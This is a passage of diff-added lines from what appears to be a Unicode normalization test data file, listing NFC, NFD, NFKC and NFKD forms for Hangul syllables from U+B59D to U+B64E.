+{ source: [0xB59D], NFC: [0xB59D], NFD: [0x1104, 0x1164, 0x11C0], NFKC: [0xB59D], NFKD: [0x1104, 0x1164, 0x11C0] },
+{ source: [0xB59E], NFC: [0xB59E], NFD: [0x1104, 0x1164, 0x11C1], NFKC: [0xB59E], NFKD: [0x1104, 0x1164, 0x11C1] },
+{ source: [0xB59F], NFC: [0xB59F], NFD: [0x1104, 0x1164, 0x11C2], NFKC: [0xB59F], NFKD: [0x1104, 0x1164, 0x11C2] },
+{ source: [0xB5A0], NFC: [0xB5A0], NFD: [0x1104, 0x1165], NFKC: [0xB5A0], NFKD: [0x1104, 0x1165] },
+{ source: [0xB5A1], NFC: [0xB5A1], NFD: [0x1104, 0x1165, 0x11A8], NFKC: [0xB5A1], NFKD: [0x1104, 0x1165, 0x11A8] },
+{ source: [0xB5A2], NFC: [0xB5A2], NFD: [0x1104, 0x1165, 0x11A9], NFKC: [0xB5A2], NFKD: [0x1104, 0x1165, 0x11A9] },
+{ source: [0xB5A3], NFC: [0xB5A3], NFD: [0x1104, 0x1165, 0x11AA], NFKC: [0xB5A3], NFKD: [0x1104, 0x1165, 0x11AA] },
+{ source: [0xB5A4], NFC: [0xB5A4], NFD: [0x1104, 0x1165, 0x11AB], NFKC: [0xB5A4], NFKD: [0x1104, 0x1165, 0x11AB] },
+{ source: [0xB5A5], NFC: [0xB5A5], NFD: [0x1104, 0x1165, 0x11AC], NFKC: [0xB5A5], NFKD: [0x1104, 0x1165, 0x11AC] },
+{ source: [0xB5A6], NFC: [0xB5A6], NFD: [0x1104, 0x1165, 0x11AD], NFKC: [0xB5A6], NFKD: [0x1104, 0x1165, 0x11AD] },
+{ source: [0xB5A7], NFC: [0xB5A7], NFD: [0x1104, 0x1165, 0x11AE], NFKC: [0xB5A7], NFKD: [0x1104, 0x1165, 0x11AE] },
+{ source: [0xB5A8], NFC: [0xB5A8], NFD: [0x1104, 0x1165, 0x11AF], NFKC: [0xB5A8], NFKD: [0x1104, 0x1165, 0x11AF] },
+{ source: [0xB5A9], NFC: [0xB5A9], NFD: [0x1104, 0x1165, 0x11B0], NFKC: [0xB5A9], NFKD: [0x1104, 0x1165, 0x11B0] },
+{ source: [0xB5AA], NFC: [0xB5AA], NFD: [0x1104, 0x1165, 0x11B1], NFKC: [0xB5AA], NFKD: [0x1104, 0x1165, 0x11B1] },
+{ source: [0xB5AB], NFC: [0xB5AB], NFD: [0x1104, 0x1165, 0x11B2], NFKC: [0xB5AB], NFKD: [0x1104, 0x1165, 0x11B2] },
+{ source: [0xB5AC], NFC: [0xB5AC], NFD: [0x1104, 0x1165, 0x11B3], NFKC: [0xB5AC], NFKD: [0x1104, 0x1165, 0x11B3] },
+{ source: [0xB5AD], NFC: [0xB5AD], NFD: [0x1104, 0x1165, 0x11B4], NFKC: [0xB5AD], NFKD: [0x1104, 0x1165, 0x11B4] },
+{ source: [0xB5AE], NFC: [0xB5AE], NFD: [0x1104, 0x1165, 0x11B5], NFKC: [0xB5AE], NFKD: [0x1104, 0x1165, 0x11B5] },
+{ source: [0xB5AF], NFC: [0xB5AF], NFD: [0x1104, 0x1165, 0x11B6], NFKC: [0xB5AF], NFKD: [0x1104, 0x1165, 0x11B6] },
+{ source: [0xB5B0], NFC: [0xB5B0], NFD: [0x1104, 0x1165, 0x11B7], NFKC: [0xB5B0], NFKD: [0x1104, 0x1165, 0x11B7] },
+{ source: [0xB5B1], NFC: [0xB5B1], NFD: [0x1104, 0x1165, 0x11B8], NFKC: [0xB5B1], NFKD: [0x1104, 0x1165, 0x11B8] },
+{ source: [0xB5B2], NFC: [0xB5B2], NFD: [0x1104, 0x1165, 0x11B9], NFKC: [0xB5B2], NFKD: [0x1104, 0x1165, 0x11B9] },
+{ source: [0xB5B3], NFC: [0xB5B3], NFD: [0x1104, 0x1165, 0x11BA], NFKC: [0xB5B3], NFKD: [0x1104, 0x1165, 0x11BA] },
+{ source: [0xB5B4], NFC: [0xB5B4], NFD: [0x1104, 0x1165, 0x11BB], NFKC: [0xB5B4], NFKD: [0x1104, 0x1165, 0x11BB] },
+{ source: [0xB5B5], NFC: [0xB5B5], NFD: [0x1104, 0x1165, 0x11BC], NFKC: [0xB5B5], NFKD: [0x1104, 0x1165, 0x11BC] },
+{ source: [0xB5B6], NFC: [0xB5B6], NFD: [0x1104, 0x1165, 0x11BD], NFKC: [0xB5B6], NFKD: [0x1104, 0x1165, 0x11BD] },
+{ source: [0xB5B7], NFC: [0xB5B7], NFD: [0x1104, 0x1165, 0x11BE], NFKC: [0xB5B7], NFKD: [0x1104, 0x1165, 0x11BE] },
+{ source: [0xB5B8], NFC: [0xB5B8], NFD: [0x1104, 0x1165, 0x11BF], NFKC: [0xB5B8], NFKD: [0x1104, 0x1165, 0x11BF] },
+{ source: [0xB5B9], NFC: [0xB5B9], NFD: [0x1104, 0x1165, 0x11C0], NFKC: [0xB5B9], NFKD: [0x1104, 0x1165, 0x11C0] },
+{ source: [0xB5BA], NFC: [0xB5BA], NFD: [0x1104, 0x1165, 0x11C1], NFKC: [0xB5BA], NFKD: [0x1104, 0x1165, 0x11C1] },
+{ source: [0xB5BB], NFC: [0xB5BB], NFD: [0x1104, 0x1165, 0x11C2], NFKC: [0xB5BB], NFKD: [0x1104, 0x1165, 0x11C2] },
+{ source: [0xB5BC], NFC: [0xB5BC], NFD: [0x1104, 0x1166], NFKC: [0xB5BC], NFKD: [0x1104, 0x1166] },
+{ source: [0xB5BD], NFC: [0xB5BD], NFD: [0x1104, 0x1166, 0x11A8], NFKC: [0xB5BD], NFKD: [0x1104, 0x1166, 0x11A8] },
+{ source: [0xB5BE], NFC: [0xB5BE], NFD: [0x1104, 0x1166, 0x11A9], NFKC: [0xB5BE], NFKD: [0x1104, 0x1166, 0x11A9] },
+{ source: [0xB5BF], NFC: [0xB5BF], NFD: [0x1104, 0x1166, 0x11AA], NFKC: [0xB5BF], NFKD: [0x1104, 0x1166, 0x11AA] },
+{ source: [0xB5C0], NFC: [0xB5C0], NFD: [0x1104, 0x1166, 0x11AB], NFKC: [0xB5C0], NFKD: [0x1104, 0x1166, 0x11AB] },
+{ source: [0xB5C1], NFC: [0xB5C1], NFD: [0x1104, 0x1166, 0x11AC], NFKC: [0xB5C1], NFKD: [0x1104, 0x1166, 0x11AC] },
+{ source: [0xB5C2], NFC: [0xB5C2], NFD: [0x1104, 0x1166, 0x11AD], NFKC: [0xB5C2], NFKD: [0x1104, 0x1166, 0x11AD] },
+{ source: [0xB5C3], NFC: [0xB5C3], NFD: [0x1104, 0x1166, 0x11AE], NFKC: [0xB5C3], NFKD: [0x1104, 0x1166, 0x11AE] },
+{ source: [0xB5C4], NFC: [0xB5C4], NFD: [0x1104, 0x1166, 0x11AF], NFKC: [0xB5C4], NFKD: [0x1104, 0x1166, 0x11AF] },
+{ source: [0xB5C5], NFC: [0xB5C5], NFD: [0x1104, 0x1166, 0x11B0], NFKC: [0xB5C5], NFKD: [0x1104, 0x1166, 0x11B0] },
+{ source: [0xB5C6], NFC: [0xB5C6], NFD: [0x1104, 0x1166, 0x11B1], NFKC: [0xB5C6], NFKD: [0x1104, 0x1166, 0x11B1] },
+{ source: [0xB5C7], NFC: [0xB5C7], NFD: [0x1104, 0x1166, 0x11B2], NFKC: [0xB5C7], NFKD: [0x1104, 0x1166, 0x11B2] },
+{ source: [0xB5C8], NFC: [0xB5C8], NFD: [0x1104, 0x1166, 0x11B3], NFKC: [0xB5C8], NFKD: [0x1104, 0x1166, 0x11B3] },
+{ source: [0xB5C9], NFC: [0xB5C9], NFD: [0x1104, 0x1166, 0x11B4], NFKC: [0xB5C9], NFKD: [0x1104, 0x1166, 0x11B4] },
+{ source: [0xB5CA], NFC: [0xB5CA], NFD: [0x1104, 0x1166, 0x11B5], NFKC: [0xB5CA], NFKD: [0x1104, 0x1166, 0x11B5] },
+{ source: [0xB5CB], NFC: [0xB5CB], NFD: [0x1104, 0x1166, 0x11B6], NFKC: [0xB5CB], NFKD: [0x1104, 0x1166, 0x11B6] },
+{ source: [0xB5CC], NFC: [0xB5CC], NFD: [0x1104, 0x1166, 0x11B7], NFKC: [0xB5CC], NFKD: [0x1104, 0x1166, 0x11B7] },
+{ source: [0xB5CD], NFC: [0xB5CD], NFD: [0x1104, 0x1166, 0x11B8], NFKC: [0xB5CD], NFKD: [0x1104, 0x1166, 0x11B8] },
+{ source: [0xB5CE], NFC: [0xB5CE], NFD: [0x1104, 0x1166, 0x11B9], NFKC: [0xB5CE], NFKD: [0x1104, 0x1166, 0x11B9] },
+{ source: [0xB5CF], NFC: [0xB5CF], NFD: [0x1104, 0x1166, 0x11BA], NFKC: [0xB5CF], NFKD: [0x1104, 0x1166, 0x11BA] },
+{ source: [0xB5D0], NFC: [0xB5D0], NFD: [0x1104, 0x1166, 0x11BB], NFKC: [0xB5D0], NFKD: [0x1104, 0x1166, 0x11BB] },
+{ source: [0xB5D1], NFC: [0xB5D1], NFD: [0x1104, 0x1166, 0x11BC], NFKC: [0xB5D1], NFKD: [0x1104, 0x1166, 0x11BC] },
+{ source: [0xB5D2], NFC: [0xB5D2], NFD: [0x1104, 0x1166, 0x11BD], NFKC: [0xB5D2], NFKD: [0x1104, 0x1166, 0x11BD] },
+{ source: [0xB5D3], NFC: [0xB5D3], NFD: [0x1104, 0x1166, 0x11BE], NFKC: [0xB5D3], NFKD: [0x1104, 0x1166, 0x11BE] },
+{ source: [0xB5D4], NFC: [0xB5D4], NFD: [0x1104, 0x1166, 0x11BF], NFKC: [0xB5D4], NFKD: [0x1104, 0x1166, 0x11BF] },
+{ source: [0xB5D5], NFC: [0xB5D5], NFD: [0x1104, 0x1166, 0x11C0], NFKC: [0xB5D5], NFKD: [0x1104, 0x1166, 0x11C0] },
+{ source: [0xB5D6], NFC: [0xB5D6], NFD: [0x1104, 0x1166, 0x11C1], NFKC: [0xB5D6], NFKD: [0x1104, 0x1166, 0x11C1] },
+{ source: [0xB5D7], NFC: [0xB5D7], NFD: [0x1104, 0x1166, 0x11C2], NFKC: [0xB5D7], NFKD: [0x1104, 0x1166, 0x11C2] },
+{ source: [0xB5D8], NFC: [0xB5D8], NFD: [0x1104, 0x1167], NFKC: [0xB5D8], NFKD: [0x1104, 0x1167] },
+{ source: [0xB5D9], NFC: [0xB5D9], NFD: [0x1104, 0x1167, 0x11A8], NFKC: [0xB5D9], NFKD: [0x1104, 0x1167, 0x11A8] },
+{ source: [0xB5DA], NFC: [0xB5DA], NFD: [0x1104, 0x1167, 0x11A9], NFKC: [0xB5DA], NFKD: [0x1104, 0x1167, 0x11A9] },
+{ source: [0xB5DB], NFC: [0xB5DB], NFD: [0x1104, 0x1167, 0x11AA], NFKC: [0xB5DB], NFKD: [0x1104, 0x1167, 0x11AA] },
+{ source: [0xB5DC], NFC: [0xB5DC], NFD: [0x1104, 0x1167, 0x11AB], NFKC: [0xB5DC], NFKD: [0x1104, 0x1167, 0x11AB] },
+{ source: [0xB5DD], NFC: [0xB5DD], NFD: [0x1104, 0x1167, 0x11AC], NFKC: [0xB5DD], NFKD: [0x1104, 0x1167, 0x11AC] },
+{ source: [0xB5DE], NFC: [0xB5DE], NFD: [0x1104, 0x1167, 0x11AD], NFKC: [0xB5DE], NFKD: [0x1104, 0x1167, 0x11AD] },
+{ source: [0xB5DF], NFC: [0xB5DF], NFD: [0x1104, 0x1167, 0x11AE], NFKC: [0xB5DF], NFKD: [0x1104, 0x1167, 0x11AE] },
+{ source: [0xB5E0], NFC: [0xB5E0], NFD: [0x1104, 0x1167, 0x11AF], NFKC: [0xB5E0], NFKD: [0x1104, 0x1167, 0x11AF] },
+{ source: [0xB5E1], NFC: [0xB5E1], NFD: [0x1104, 0x1167, 0x11B0], NFKC: [0xB5E1], NFKD: [0x1104, 0x1167, 0x11B0] },
+{ source: [0xB5E2], NFC: [0xB5E2], NFD: [0x1104, 0x1167, 0x11B1], NFKC: [0xB5E2], NFKD: [0x1104, 0x1167, 0x11B1] },
+{ source: [0xB5E3], NFC: [0xB5E3], NFD: [0x1104, 0x1167, 0x11B2], NFKC: [0xB5E3], NFKD: [0x1104, 0x1167, 0x11B2] },
+{ source: [0xB5E4], NFC: [0xB5E4], NFD: [0x1104, 0x1167, 0x11B3], NFKC: [0xB5E4], NFKD: [0x1104, 0x1167, 0x11B3] },
+{ source: [0xB5E5], NFC: [0xB5E5], NFD: [0x1104, 0x1167, 0x11B4], NFKC: [0xB5E5], NFKD: [0x1104, 0x1167, 0x11B4] },
+{ source: [0xB5E6], NFC: [0xB5E6], NFD: [0x1104, 0x1167, 0x11B5], NFKC: [0xB5E6], NFKD: [0x1104, 0x1167, 0x11B5] },
+{ source: [0xB5E7], NFC: [0xB5E7], NFD: [0x1104, 0x1167, 0x11B6], NFKC: [0xB5E7], NFKD: [0x1104, 0x1167, 0x11B6] },
+{ source: [0xB5E8], NFC: [0xB5E8], NFD: [0x1104, 0x1167, 0x11B7], NFKC: [0xB5E8], NFKD: [0x1104, 0x1167, 0x11B7] },
+{ source: [0xB5E9], NFC: [0xB5E9], NFD: [0x1104, 0x1167, 0x11B8], NFKC: [0xB5E9], NFKD: [0x1104, 0x1167, 0x11B8] },
+{ source: [0xB5EA], NFC: [0xB5EA], NFD: [0x1104, 0x1167, 0x11B9], NFKC: [0xB5EA], NFKD: [0x1104, 0x1167, 0x11B9] },
+{ source: [0xB5EB], NFC: [0xB5EB], NFD: [0x1104, 0x1167, 0x11BA], NFKC: [0xB5EB], NFKD: [0x1104, 0x1167, 0x11BA] },
+{ source: [0xB5EC], NFC: [0xB5EC], NFD: [0x1104, 0x1167, 0x11BB], NFKC: [0xB5EC], NFKD: [0x1104, 0x1167, 0x11BB] },
+{ source: [0xB5ED], NFC: [0xB5ED], NFD: [0x1104, 0x1167, 0x11BC], NFKC: [0xB5ED], NFKD: [0x1104, 0x1167, 0x11BC] },
+{ source: [0xB5EE], NFC: [0xB5EE], NFD: [0x1104, 0x1167, 0x11BD], NFKC: [0xB5EE], NFKD: [0x1104, 0x1167, 0x11BD] },
+{ source: [0xB5EF], NFC: [0xB5EF], NFD: [0x1104, 0x1167, 0x11BE], NFKC: [0xB5EF], NFKD: [0x1104, 0x1167, 0x11BE] },
+{ source: [0xB5F0], NFC: [0xB5F0], NFD: [0x1104, 0x1167, 0x11BF], NFKC: [0xB5F0], NFKD: [0x1104, 0x1167, 0x11BF] },
+{ source: [0xB5F1], NFC: [0xB5F1], NFD: [0x1104, 0x1167, 0x11C0], NFKC: [0xB5F1], NFKD: [0x1104, 0x1167, 0x11C0] },
+{ source: [0xB5F2], NFC: [0xB5F2], NFD: [0x1104, 0x1167, 0x11C1], NFKC: [0xB5F2], NFKD: [0x1104, 0x1167, 0x11C1] },
+{ source: [0xB5F3], NFC: [0xB5F3], NFD: [0x1104, 0x1167, 0x11C2], NFKC: [0xB5F3], NFKD: [0x1104, 0x1167, 0x11C2] },
+{ source: [0xB5F4], NFC: [0xB5F4], NFD: [0x1104, 0x1168], NFKC: [0xB5F4], NFKD: [0x1104, 0x1168] },
+{ source: [0xB5F5], NFC: [0xB5F5], NFD: [0x1104, 0x1168, 0x11A8], NFKC: [0xB5F5], NFKD: [0x1104, 0x1168, 0x11A8] },
+{ source: [0xB5F6], NFC: [0xB5F6], NFD: [0x1104, 0x1168, 0x11A9], NFKC: [0xB5F6], NFKD: [0x1104, 0x1168, 0x11A9] },
+{ source: [0xB5F7], NFC: [0xB5F7], NFD: [0x1104, 0x1168, 0x11AA], NFKC: [0xB5F7], NFKD: [0x1104, 0x1168, 0x11AA] },
+{ source: [0xB5F8], NFC: [0xB5F8], NFD: [0x1104, 0x1168, 0x11AB], NFKC: [0xB5F8], NFKD: [0x1104, 0x1168, 0x11AB] },
+{ source: [0xB5F9], NFC: [0xB5F9], NFD: [0x1104, 0x1168, 0x11AC], NFKC: [0xB5F9], NFKD: [0x1104, 0x1168, 0x11AC] },
+{ source: [0xB5FA], NFC: [0xB5FA], NFD: [0x1104, 0x1168, 0x11AD], NFKC: [0xB5FA], NFKD: [0x1104, 0x1168, 0x11AD] },
+{ source: [0xB5FB], NFC: [0xB5FB], NFD: [0x1104, 0x1168, 0x11AE], NFKC: [0xB5FB], NFKD: [0x1104, 0x1168, 0x11AE] },
+{ source: [0xB5FC], NFC: [0xB5FC], NFD: [0x1104, 0x1168, 0x11AF], NFKC: [0xB5FC], NFKD: [0x1104, 0x1168, 0x11AF] },
+{ source: [0xB5FD], NFC: [0xB5FD], NFD: [0x1104, 0x1168, 0x11B0], NFKC: [0xB5FD], NFKD: [0x1104, 0x1168, 0x11B0] },
+{ source: [0xB5FE], NFC: [0xB5FE], NFD: [0x1104, 0x1168, 0x11B1], NFKC: [0xB5FE], NFKD: [0x1104, 0x1168, 0x11B1] },
+{ source: [0xB5FF], NFC: [0xB5FF], NFD: [0x1104, 0x1168, 0x11B2], NFKC: [0xB5FF], NFKD: [0x1104, 0x1168, 0x11B2] },
+{ source: [0xB600], NFC: [0xB600], NFD: [0x1104, 0x1168, 0x11B3], NFKC: [0xB600], NFKD: [0x1104, 0x1168, 0x11B3] },
+{ source: [0xB601], NFC: [0xB601], NFD: [0x1104, 0x1168, 0x11B4], NFKC: [0xB601], NFKD: [0x1104, 0x1168, 0x11B4] },
+{ source: [0xB602], NFC: [0xB602], NFD: [0x1104, 0x1168, 0x11B5], NFKC: [0xB602], NFKD: [0x1104, 0x1168, 0x11B5] },
+{ source: [0xB603], NFC: [0xB603], NFD: [0x1104, 0x1168, 0x11B6], NFKC: [0xB603], NFKD: [0x1104, 0x1168, 0x11B6] },
+{ source: [0xB604], NFC: [0xB604], NFD: [0x1104, 0x1168, 0x11B7], NFKC: [0xB604], NFKD: [0x1104, 0x1168, 0x11B7] },
+{ source: [0xB605], NFC: [0xB605], NFD: [0x1104, 0x1168, 0x11B8], NFKC: [0xB605], NFKD: [0x1104, 0x1168, 0x11B8] },
+{ source: [0xB606], NFC: [0xB606], NFD: [0x1104, 0x1168, 0x11B9], NFKC: [0xB606], NFKD: [0x1104, 0x1168, 0x11B9] },
+{ source: [0xB607], NFC: [0xB607], NFD: [0x1104, 0x1168, 0x11BA], NFKC: [0xB607], NFKD: [0x1104, 0x1168, 0x11BA] },
+{ source: [0xB608], NFC: [0xB608], NFD: [0x1104, 0x1168, 0x11BB], NFKC: [0xB608], NFKD: [0x1104, 0x1168, 0x11BB] },
+{ source: [0xB609], NFC: [0xB609], NFD: [0x1104, 0x1168, 0x11BC], NFKC: [0xB609], NFKD: [0x1104, 0x1168, 0x11BC] },
+{ source: [0xB60A], NFC: [0xB60A], NFD: [0x1104, 0x1168, 0x11BD], NFKC: [0xB60A], NFKD: [0x1104, 0x1168, 0x11BD] },
+{ source: [0xB60B], NFC: [0xB60B], NFD: [0x1104, 0x1168, 0x11BE], NFKC: [0xB60B], NFKD: [0x1104, 0x1168, 0x11BE] },
+{ source: [0xB60C], NFC: [0xB60C], NFD: [0x1104, 0x1168, 0x11BF], NFKC: [0xB60C], NFKD: [0x1104, 0x1168, 0x11BF] },
+{ source: [0xB60D], NFC: [0xB60D], NFD: [0x1104, 0x1168, 0x11C0], NFKC: [0xB60D], NFKD: [0x1104, 0x1168, 0x11C0] },
+{ source: [0xB60E], NFC: [0xB60E], NFD: [0x1104, 0x1168, 0x11C1], NFKC: [0xB60E], NFKD: [0x1104, 0x1168, 0x11C1] },
+{ source: [0xB60F], NFC: [0xB60F], NFD: [0x1104, 0x1168, 0x11C2], NFKC: [0xB60F], NFKD: [0x1104, 0x1168, 0x11C2] },
+{ source: [0xB610], NFC: [0xB610], NFD: [0x1104, 0x1169], NFKC: [0xB610], NFKD: [0x1104, 0x1169] },
+{ source: [0xB611], NFC: [0xB611], NFD: [0x1104, 0x1169, 0x11A8], NFKC: [0xB611], NFKD: [0x1104, 0x1169, 0x11A8] },
+{ source: [0xB612], NFC: [0xB612], NFD: [0x1104, 0x1169, 0x11A9], NFKC: [0xB612], NFKD: [0x1104, 0x1169, 0x11A9] },
+{ source: [0xB613], NFC: [0xB613], NFD: [0x1104, 0x1169, 0x11AA], NFKC: [0xB613], NFKD: [0x1104, 0x1169, 0x11AA] },
+{ source: [0xB614], NFC: [0xB614], NFD: [0x1104, 0x1169, 0x11AB], NFKC: [0xB614], NFKD: [0x1104, 0x1169, 0x11AB] },
+{ source: [0xB615], NFC: [0xB615], NFD: [0x1104, 0x1169, 0x11AC], NFKC: [0xB615], NFKD: [0x1104, 0x1169, 0x11AC] },
+{ source: [0xB616], NFC: [0xB616], NFD: [0x1104, 0x1169, 0x11AD], NFKC: [0xB616], NFKD: [0x1104, 0x1169, 0x11AD] },
+{ source: [0xB617], NFC: [0xB617], NFD: [0x1104, 0x1169, 0x11AE], NFKC: [0xB617], NFKD: [0x1104, 0x1169, 0x11AE] },
+{ source: [0xB618], NFC: [0xB618], NFD: [0x1104, 0x1169, 0x11AF], NFKC: [0xB618], NFKD: [0x1104, 0x1169, 0x11AF] },
+{ source: [0xB619], NFC: [0xB619], NFD: [0x1104, 0x1169, 0x11B0], NFKC: [0xB619], NFKD: [0x1104, 0x1169, 0x11B0] },
+{ source: [0xB61A], NFC: [0xB61A], NFD: [0x1104, 0x1169, 0x11B1], NFKC: [0xB61A], NFKD: [0x1104, 0x1169, 0x11B1] },
+{ source: [0xB61B], NFC: [0xB61B], NFD: [0x1104, 0x1169, 0x11B2], NFKC: [0xB61B], NFKD: [0x1104, 0x1169, 0x11B2] },
+{ source: [0xB61C], NFC: [0xB61C], NFD: [0x1104, 0x1169, 0x11B3], NFKC: [0xB61C], NFKD: [0x1104, 0x1169, 0x11B3] },
+{ source: [0xB61D], NFC: [0xB61D], NFD: [0x1104, 0x1169, 0x11B4], NFKC: [0xB61D], NFKD: [0x1104, 0x1169, 0x11B4] },
+{ source: [0xB61E], NFC: [0xB61E], NFD: [0x1104, 0x1169, 0x11B5], NFKC: [0xB61E], NFKD: [0x1104, 0x1169, 0x11B5] },
+{ source: [0xB61F], NFC: [0xB61F], NFD: [0x1104, 0x1169, 0x11B6], NFKC: [0xB61F], NFKD: [0x1104, 0x1169, 0x11B6] },
+{ source: [0xB620], NFC: [0xB620], NFD: [0x1104, 0x1169, 0x11B7], NFKC: [0xB620], NFKD: [0x1104, 0x1169, 0x11B7] },
+{ source: [0xB621], NFC: [0xB621], NFD: [0x1104, 0x1169, 0x11B8], NFKC: [0xB621], NFKD: [0x1104, 0x1169, 0x11B8] },
+{ source: [0xB622], NFC: [0xB622], NFD: [0x1104, 0x1169, 0x11B9], NFKC: [0xB622], NFKD: [0x1104, 0x1169, 0x11B9] },
+{ source: [0xB623], NFC: [0xB623], NFD: [0x1104, 0x1169, 0x11BA], NFKC: [0xB623], NFKD: [0x1104, 0x1169, 0x11BA] },
+{ source: [0xB624], NFC: [0xB624], NFD: [0x1104, 0x1169, 0x11BB], NFKC: [0xB624], NFKD: [0x1104, 0x1169, 0x11BB] },
+{ source: [0xB625], NFC: [0xB625], NFD: [0x1104, 0x1169, 0x11BC], NFKC: [0xB625], NFKD: [0x1104, 0x1169, 0x11BC] },
+{ source: [0xB626], NFC: [0xB626], NFD: [0x1104, 0x1169, 0x11BD], NFKC: [0xB626], NFKD: [0x1104, 0x1169, 0x11BD] },
+{ source: [0xB627], NFC: [0xB627], NFD: [0x1104, 0x1169, 0x11BE], NFKC: [0xB627], NFKD: [0x1104, 0x1169, 0x11BE] },
+{ source: [0xB628], NFC: [0xB628], NFD: [0x1104, 0x1169, 0x11BF], NFKC: [0xB628], NFKD: [0x1104, 0x1169, 0x11BF] },
+{ source: [0xB629], NFC: [0xB629], NFD: [0x1104, 0x1169, 0x11C0], NFKC: [0xB629], NFKD: [0x1104, 0x1169, 0x11C0] },
+{ source: [0xB62A], NFC: [0xB62A], NFD: [0x1104, 0x1169, 0x11C1], NFKC: [0xB62A], NFKD: [0x1104, 0x1169, 0x11C1] },
+{ source: [0xB62B], NFC: [0xB62B], NFD: [0x1104, 0x1169, 0x11C2], NFKC: [0xB62B], NFKD: [0x1104, 0x1169, 0x11C2] },
+{ source: [0xB62C], NFC: [0xB62C], NFD: [0x1104, 0x116A], NFKC: [0xB62C], NFKD: [0x1104, 0x116A] },
+{ source: [0xB62D], NFC: [0xB62D], NFD: [0x1104, 0x116A, 0x11A8], NFKC: [0xB62D], NFKD: [0x1104, 0x116A, 0x11A8] },
+{ source: [0xB62E], NFC: [0xB62E], NFD: [0x1104, 0x116A, 0x11A9], NFKC: [0xB62E], NFKD: [0x1104, 0x116A, 0x11A9] },
+{ source: [0xB62F], NFC: [0xB62F], NFD: [0x1104, 0x116A, 0x11AA], NFKC: [0xB62F], NFKD: [0x1104, 0x116A, 0x11AA] },
+{ source: [0xB630], NFC: [0xB630], NFD: [0x1104, 0x116A, 0x11AB], NFKC: [0xB630], NFKD: [0x1104, 0x116A, 0x11AB] },
+{ source: [0xB631], NFC: [0xB631], NFD: [0x1104, 0x116A, 0x11AC], NFKC: [0xB631], NFKD: [0x1104, 0x116A, 0x11AC] },
+{ source: [0xB632], NFC: [0xB632], NFD: [0x1104, 0x116A, 0x11AD], NFKC: [0xB632], NFKD: [0x1104, 0x116A, 0x11AD] },
+{ source: [0xB633], NFC: [0xB633], NFD: [0x1104, 0x116A, 0x11AE], NFKC: [0xB633], NFKD: [0x1104, 0x116A, 0x11AE] },
+{ source: [0xB634], NFC: [0xB634], NFD: [0x1104, 0x116A, 0x11AF], NFKC: [0xB634], NFKD: [0x1104, 0x116A, 0x11AF] },
+{ source: [0xB635], NFC: [0xB635], NFD: [0x1104, 0x116A, 0x11B0], NFKC: [0xB635], NFKD: [0x1104, 0x116A, 0x11B0] },
+{ source: [0xB636], NFC: [0xB636], NFD: [0x1104, 0x116A, 0x11B1], NFKC: [0xB636], NFKD: [0x1104, 0x116A, 0x11B1] },
+{ source: [0xB637], NFC: [0xB637], NFD: [0x1104, 0x116A, 0x11B2], NFKC: [0xB637], NFKD: [0x1104, 0x116A, 0x11B2] },
+{ source: [0xB638], NFC: [0xB638], NFD: [0x1104, 0x116A, 0x11B3], NFKC: [0xB638], NFKD: [0x1104, 0x116A, 0x11B3] },
+{ source: [0xB639], NFC: [0xB639], NFD: [0x1104, 0x116A, 0x11B4], NFKC: [0xB639], NFKD: [0x1104, 0x116A, 0x11B4] },
+{ source: [0xB63A], NFC: [0xB63A], NFD: [0x1104, 0x116A, 0x11B5], NFKC: [0xB63A], NFKD: [0x1104, 0x116A, 0x11B5] },
+{ source: [0xB63B], NFC: [0xB63B], NFD: [0x1104, 0x116A, 0x11B6], NFKC: [0xB63B], NFKD: [0x1104, 0x116A, 0x11B6] },
+{ source: [0xB63C], NFC: [0xB63C], NFD: [0x1104, 0x116A, 0x11B7], NFKC: [0xB63C], NFKD: [0x1104, 0x116A, 0x11B7] },
+{ source: [0xB63D], NFC: [0xB63D], NFD: [0x1104, 0x116A, 0x11B8], NFKC: [0xB63D], NFKD: [0x1104, 0x116A, 0x11B8] },
+{ source: [0xB63E], NFC: [0xB63E], NFD: [0x1104, 0x116A, 0x11B9], NFKC: [0xB63E], NFKD: [0x1104, 0x116A, 0x11B9] },
+{ source: [0xB63F], NFC: [0xB63F], NFD: [0x1104, 0x116A, 0x11BA], NFKC: [0xB63F], NFKD: [0x1104, 0x116A, 0x11BA] },
+{ source: [0xB640], NFC: [0xB640], NFD: [0x1104, 0x116A, 0x11BB], NFKC: [0xB640], NFKD: [0x1104, 0x116A, 0x11BB] },
+{ source: [0xB641], NFC: [0xB641], NFD: [0x1104, 0x116A, 0x11BC], NFKC: [0xB641], NFKD: [0x1104, 0x116A, 0x11BC] },
+{ source: [0xB642], NFC: [0xB642], NFD: [0x1104, 0x116A, 0x11BD], NFKC: [0xB642], NFKD: [0x1104, 0x116A, 0x11BD] },
+{ source: [0xB643], NFC: [0xB643], NFD: [0x1104, 0x116A, 0x11BE], NFKC: [0xB643], NFKD: [0x1104, 0x116A, 0x11BE] },
+{ source: [0xB644], NFC: [0xB644], NFD: [0x1104, 0x116A, 0x11BF], NFKC: [0xB644], NFKD: [0x1104, 0x116A, 0x11BF] },
+{ source: [0xB645], NFC: [0xB645], NFD: [0x1104, 0x116A, 0x11C0], NFKC: [0xB645], NFKD: [0x1104, 0x116A, 0x11C0] },
+{ source: [0xB646], NFC: [0xB646], NFD: [0x1104, 0x116A, 0x11C1], NFKC: [0xB646], NFKD: [0x1104, 0x116A, 0x11C1] },
+{ source: [0xB647], NFC: [0xB647], NFD: [0x1104, 0x116A, 0x11C2], NFKC: [0xB647], NFKD: [0x1104, 0x116A, 0x11C2] },
+{ source: [0xB648], NFC: [0xB648], NFD: [0x1104, 0x116B], NFKC: [0xB648], NFKD: [0x1104, 0x116B] },
+{ source: [0xB649], NFC: [0xB649], NFD: [0x1104, 0x116B, 0x11A8], NFKC: [0xB649], NFKD: [0x1104, 0x116B, 0x11A8] },
+{ source: [0xB64A], NFC: [0xB64A], NFD: [0x1104, 0x116B, 0x11A9], NFKC: [0xB64A], NFKD: [0x1104, 0x116B, 0x11A9] },
+{ source: [0xB64B], NFC: [0xB64B], NFD: [0x1104, 0x116B, 0x11AA], NFKC: [0xB64B], NFKD: [0x1104, 0x116B, 0x11AA] },
+{ source: [0xB64C], NFC: [0xB64C], NFD: [0x1104, 0x116B, 0x11AB], NFKC: [0xB64C], NFKD: [0x1104, 0x116B, 0x11AB] },
+{ source: [0xB64D], NFC: [0xB64D], NFD: [0x1104, 0x116B, 0x11AC], NFKC: [0xB64D], NFKD: [0x1104, 0x116B, 0x11AC] },
+{ source: [0xB64E], NFC: [0xB64E], NFD: [0x1104, 0x116B, 0x11AD], NFKC: [0xB64E], NFKD: [0x1104, 0x116B, 0x11AD] },
